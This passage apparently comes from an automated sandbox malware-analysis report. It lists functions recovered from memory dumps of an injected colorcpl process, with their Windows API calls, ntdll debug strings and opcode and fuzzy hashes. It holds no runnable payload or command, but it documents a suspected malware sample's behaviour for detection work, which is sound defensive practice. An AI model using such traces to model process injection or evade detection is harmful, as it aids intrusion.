                                                                                                                                                                                    • API ID: CreateThread
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2422867632-0
                                                                                                                                                                                    • Opcode ID: 7d55885de893406a9c509f9c0cc846aa32c5beb93765153f0fb1aa7fc83bd92f
                                                                                                                                                                                    • Instruction ID: 11303e2395a8cf6baa426b380cd632700e8149f7a7ce9cbfeaa6a0e40fa1ae1f
                                                                                                                                                                                    • Opcode Fuzzy Hash: 7d55885de893406a9c509f9c0cc846aa32c5beb93765153f0fb1aa7fc83bd92f
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2EF09B7B3813003EE33065989C03F977B699B91F10F15051DF65DAB2C1D9A4B44186A9
                                                                                                                                                                                    Function 005CA7A0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,?,005BF1D2,005BF1D2,?,00000000,?,?), ref: 005CA7D0
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: LookupPrivilegeValue
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3899507212-0
                                                                                                                                                                                    • Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
                                                                                                                                                                                    • Instruction ID: 95259ffc72b39c6cf8587be22e4eb7d98d46b3aaf5c366f65422d3371928233f
                                                                                                                                                                                    • Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
                                                                                                                                                                                    • Instruction Fuzzy Hash: 14E01AB52102086BDB10DF89CC85EE737ADAF88654F018159BA0857241C930E8118BF5
                                                                                                                                                                                    Function 005BF6D0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • SetErrorMode.KERNELBASE(00008003,?,005B8D14,?), ref: 005BF6FB
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ErrorMode
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2340568224-0
                                                                                                                                                                                    • Opcode ID: a2d4a72b799ecba535e6209a82b178d001bd83fc2549ccaf7422d872a4b8c7e9
                                                                                                                                                                                    • Instruction ID: 579689576e2e4f3f714618820ffd9ab918838099d31767432d58030eed62e041
                                                                                                                                                                                    • Opcode Fuzzy Hash: a2d4a72b799ecba535e6209a82b178d001bd83fc2549ccaf7422d872a4b8c7e9
                                                                                                                                                                                    • Instruction Fuzzy Hash: C5D05E616503093AE610AAA49C17F66368C6B44B40F4A0064F949962C3D950F4004565
                                                                                                                                                                                    Function 005BACE3 Relevance: 1.5, APIs: 1, Instructions: 11libraryloaderCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 005BAD62
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Load
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2234796835-0
                                                                                                                                                                                    • Opcode ID: 1ddec9c740a2b2ef97a035f25dfabd68456f20969e05435321587986678711db
                                                                                                                                                                                    • Instruction ID: 19a98d09ab5f51d16e816a5f8b25c5a781ac52a81f15aa4110ce6b7e30c60b2b
                                                                                                                                                                                    • Opcode Fuzzy Hash: 1ddec9c740a2b2ef97a035f25dfabd68456f20969e05435321587986678711db
                                                                                                                                                                                    • Instruction Fuzzy Hash: 85B09231A941182AEA74C6C89C06B6ABB54E785712F144285BD2CA6680E4A22D1041E6
                                                                                                                                                                                    Function 04812C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: c1ebcd91697e6ec597487739e0b7cacb9ee901ac6c3457240905d7a6b139ce42
                                                                                                                                                                                    • Instruction ID: 7e764c6177a3d4bd5a5a734dc3f89cf84f139699512b69938ec2a7ffb63a7d62
                                                                                                                                                                                    • Opcode Fuzzy Hash: c1ebcd91697e6ec597487739e0b7cacb9ee901ac6c3457240905d7a6b139ce42
                                                                                                                                                                                    • Instruction Fuzzy Hash: 30B09B719015D5DAFF11F760470971779046BD0705F15C662D3035642E4738D1D5E176

                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                    Function 008E1975 Relevance: 7.6, APIs: 5, Instructions: 50timethreadCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 008E19A2
                                                                                                                                                                                    • GetCurrentProcessId.KERNEL32 ref: 008E19B1
                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 008E19BA
                                                                                                                                                                                    • GetTickCount.KERNEL32 ref: 008E19C3
                                                                                                                                                                                    • QueryPerformanceCounter.KERNEL32(?), ref: 008E19D8
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4524079888.00000000008E0000.00000040.80000000.00040000.00000000.sdmp, Offset: 008E0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4524079888.00000000008E3000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_8e0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 1445889803-0
                                                                                                                                                                                    • Opcode ID: cd1c211a76abeaecfe764e283fdd80a020bcc39a64eaddca780b3441d60d05d9
                                                                                                                                                                                    • Instruction ID: 9e5f63026429bfc0ec8fde3e45abfdffb940d16e5d6f177cb9d9438bf10dd0e1
                                                                                                                                                                                    • Opcode Fuzzy Hash: cd1c211a76abeaecfe764e283fdd80a020bcc39a64eaddca780b3441d60d05d9
                                                                                                                                                                                    • Instruction Fuzzy Hash: E2110A71D01648EBDF10DBB9D988AAEBBF4FF49321F514865D401EB250E6309F00DB50
                                                                                                                                                                                    Function 008E1AC3 Relevance: 6.0, APIs: 4, Instructions: 13COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000,?,008E1BF9,008E1000), ref: 008E1ACA
                                                                                                                                                                                    • UnhandledExceptionFilter.KERNEL32(008E1BF9,?,008E1BF9,008E1000), ref: 008E1AD3
                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(C0000409,?,008E1BF9,008E1000), ref: 008E1ADE
                                                                                                                                                                                    • TerminateProcess.KERNEL32(00000000,?,008E1BF9,008E1000), ref: 008E1AE5
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4524079888.00000000008E0000.00000040.80000000.00040000.00000000.sdmp, Offset: 008E0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4524079888.00000000008E3000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_8e0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3231755760-0
                                                                                                                                                                                    • Opcode ID: 4b612f843e33328dd90f65a6a1f69f1013416b527300c462ddb082b0ef6d704b
                                                                                                                                                                                    • Instruction ID: 2d059dd6829f80427c4d70bb81ee51f60e73ca8b4a1fe290e5f3bf068fb85cfb
                                                                                                                                                                                    • Opcode Fuzzy Hash: 4b612f843e33328dd90f65a6a1f69f1013416b527300c462ddb082b0ef6d704b
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1AD01232000584FBC7002BE1ED4CA497F28FB49362F040400F30E8B021CB719E018F55
                                                                                                                                                                                    Function 04812890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ___swprintf_l
                                                                                                                                                                                    • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                                                                                                                                    • API String ID: 48624451-2108815105
                                                                                                                                                                                    • Opcode ID: 4a6026f03f0d1975bc46cf3104855d7d17728230d4729921a07fc842313e83db
                                                                                                                                                                                    • Instruction ID: 825ac9a9e79a14e658d3278236e1974a272a01fd25bc249cd6529a7b27f2b5f2
                                                                                                                                                                                    • Opcode Fuzzy Hash: 4a6026f03f0d1975bc46cf3104855d7d17728230d4729921a07fc842313e83db
                                                                                                                                                                                    • Instruction Fuzzy Hash: F551FBB5A0011ABFDB15DF9C898097EF7BCBB483047108B6AE495E7641E274FE509BE0
                                                                                                                                                                                    Function 04882410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ___swprintf_l
                                                                                                                                                                                    • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                                                                                                                                    • API String ID: 48624451-2108815105
                                                                                                                                                                                    • Opcode ID: bd0b1fc121aeea563fc8a1598b6a951993cb721062d9df7654bc70ec5603aa48
                                                                                                                                                                                    • Instruction ID: 8a3037357e20d551140cd934f819634c7e4a1cbb1656317c45f6bbe79d81a7b6
                                                                                                                                                                                    • Opcode Fuzzy Hash: bd0b1fc121aeea563fc8a1598b6a951993cb721062d9df7654bc70ec5603aa48
                                                                                                                                                                                    • Instruction Fuzzy Hash: D65117B5A40645AFDB30EF9CC99087FB7F8EF44204B408E9DE496D3641E6B4FA408760
                                                                                                                                                                                    Function 04807630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 048446FC
                                                                                                                                                                                    • CLIENT(ntdll): Processing section info %ws..., xrefs: 04844787
                                                                                                                                                                                    • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 04844655
                                                                                                                                                                                    • ExecuteOptions, xrefs: 048446A0
                                                                                                                                                                                    • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 04844725
                                                                                                                                                                                    • Execute=1, xrefs: 04844713
                                                                                                                                                                                    • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 04844742
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                                                                                                                                                    • API String ID: 0-484625025
                                                                                                                                                                                    • Opcode ID: 718a9f5bffc6e837b33446dc9c5505d8cb13f45e35a5f1508da46e76764818a4
                                                                                                                                                                                    • Instruction ID: 777b0ac6ab9ebbd3c8610c0717669fd123160955e45108f099e507c3095fb5a4
                                                                                                                                                                                    • Opcode Fuzzy Hash: 718a9f5bffc6e837b33446dc9c5505d8cb13f45e35a5f1508da46e76764818a4
                                                                                                                                                                                    • Instruction Fuzzy Hash: 33513A7160020D6AEF50AAA8DC95BB933A8EF04748F004AA9E505E71D0E770BE45CF51
                                                                                                                                                                                    Function 008E1463 Relevance: 10.6, APIs: 7, Instructions: 138sleepCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4524079888.00000000008E0000.00000040.80000000.00040000.00000000.sdmp, Offset: 008E0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4524079888.00000000008E3000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_8e0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_inittermexit
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2849151604-0
                                                                                                                                                                                    • Opcode ID: be06885c1810df03183c00b269e707166fede07e4c513d680ae830fa7f85c702
                                                                                                                                                                                    • Instruction ID: 885759cacf27a7d20705b1a117544814253f75e9db9b39eb9f32d11bb8cf2868
                                                                                                                                                                                    • Opcode Fuzzy Hash: be06885c1810df03183c00b269e707166fede07e4c513d680ae830fa7f85c702
                                                                                                                                                                                    • Instruction Fuzzy Hash: DE41C275A007D5DBDF24DB5A988C779B3A8FB46B21F200029E822DB3E0DB748D80CB51
                                                                                                                                                                                    Function 048A6940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                                                                                                                                                    • Instruction ID: 7637ea195117295bd84bec10a97214bb0f7a65c9211299818d0dc4a16c9455c9
                                                                                                                                                                                    • Opcode Fuzzy Hash: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                                                                                                                                                    • Instruction Fuzzy Hash: 6B020471508341AFE305CF18C490A6BBBE5EFC8714F148E2DB9899B264EBB1E915CB52
                                                                                                                                                                                    Function 0481B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: __aulldvrm
                                                                                                                                                                                    • String ID: +$-$0$0
                                                                                                                                                                                    • API String ID: 1302938615-699404926
                                                                                                                                                                                    • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                                                                                                                                    • Instruction ID: 311713681127d55307db7a2dfba00bb3b7eaed8f00b4c5589e84441d3d97ba2f
                                                                                                                                                                                    • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4181BF70E052498FEF248F68C8517EEBBA9AF55750F184F1BD851E72B0D734B8408B61
                                                                                                                                                                                    Function 048820E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ___swprintf_l
                                                                                                                                                                                    • String ID: %%%u$[$]:%u
                                                                                                                                                                                    • API String ID: 48624451-2819853543
                                                                                                                                                                                    • Opcode ID: fc9863807b7092962bd768208fe441c5bd9d686f05cb2898c776662da1c28251
                                                                                                                                                                                    • Instruction ID: da7ee401be9384f88a22c1069bff5fb6b259a3185831184246fcfd31bc0a89c3
                                                                                                                                                                                    • Opcode Fuzzy Hash: fc9863807b7092962bd768208fe441c5bd9d686f05cb2898c776662da1c28251
                                                                                                                                                                                    • Instruction Fuzzy Hash: A521657AA00119ABDB10EFB9DC40AEE7BFCEF44744F54065AE905E3200E770F9118BA1
                                                                                                                                                                                    Function 047FF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • RTL: Re-Waiting, xrefs: 0484031E
                                                                                                                                                                                    • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 048402E7
                                                                                                                                                                                    • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 048402BD
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                                                                                                                                                    • API String ID: 0-2474120054
                                                                                                                                                                                    • Opcode ID: 21634d61a3d3b5606e4300f43f55d07ebf25640a87dac39065546afb41495f8c
                                                                                                                                                                                    • Instruction ID: 4c3782dc27dbf201f1d260a6a957a2d67619fae16e4732f5b5c6bb423ad5be70
                                                                                                                                                                                    • Opcode Fuzzy Hash: 21634d61a3d3b5606e4300f43f55d07ebf25640a87dac39065546afb41495f8c
                                                                                                                                                                                    • Instruction Fuzzy Hash: F9E1AE706047459FD725CF28C884B2AB7E4AB89718F140A5EF6A5CB3E0EB74F844CB52
                                                                                                                                                                                    Function 0480BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • RTL: Resource at %p, xrefs: 04847B8E
                                                                                                                                                                                    • RTL: Re-Waiting, xrefs: 04847BAC
                                                                                                                                                                                    • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 04847B7F
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                                                                                                                                    • API String ID: 0-871070163
                                                                                                                                                                                    • Opcode ID: ab2141bf535eb43637b0030a1a824acb08707638cd35ca2647cd5991f15c2590
                                                                                                                                                                                    • Instruction ID: d22f8e1d596d340979539e2ca376c5312166d913c4d89ca3df1ae91314758f9c
                                                                                                                                                                                    • Opcode Fuzzy Hash: ab2141bf535eb43637b0030a1a824acb08707638cd35ca2647cd5991f15c2590
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9941ED317017069FD724DE29CD40B6AB7E5EB88714F004F2DE99AEB290DB70F8458B92
                                                                                                                                                                                    Function 0480B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0484728C
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • RTL: Resource at %p, xrefs: 048472A3
                                                                                                                                                                                    • RTL: Re-Waiting, xrefs: 048472C1
                                                                                                                                                                                    • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 04847294
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                                                                                                                                    • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                                                                                                                                    • API String ID: 885266447-605551621
                                                                                                                                                                                    • Opcode ID: 5b4f41b14f0395ef5c4735fa652205505a04ecf7db130a93fe4475f4c55badd8
                                                                                                                                                                                    • Instruction ID: cd9b905636022055aa6bb43668806021aee55bfc0f68b65f56ed9c8a07c9e2ae
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5b4f41b14f0395ef5c4735fa652205505a04ecf7db130a93fe4475f4c55badd8
                                                                                                                                                                                    • Instruction Fuzzy Hash: BC41107170061AAFD720DE68CC41B66B7A5FB84718F104F19FA56EB680DB60F8428BD2
                                                                                                                                                                                    Function 04882300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ___swprintf_l
